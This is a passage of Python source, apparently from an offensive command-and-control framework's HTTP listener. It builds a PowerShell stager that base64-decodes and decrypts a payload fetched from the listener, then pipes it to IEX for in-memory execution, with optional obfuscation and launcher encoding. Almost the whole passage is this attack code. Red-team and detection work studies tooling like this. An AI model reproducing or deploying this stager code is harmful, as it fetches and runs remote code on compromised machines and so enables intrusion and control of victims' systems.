"try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
)
stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
# decode everything and kick it over to IEX to kick off execution
stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
if obfuscate:
stager = data_util.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand,
)
# base64 encode the stager and return it
if encode and (
(not obfuscate) or ("launcher" not in obfuscationCommand.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)
)
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid listener name specification!"
)
)
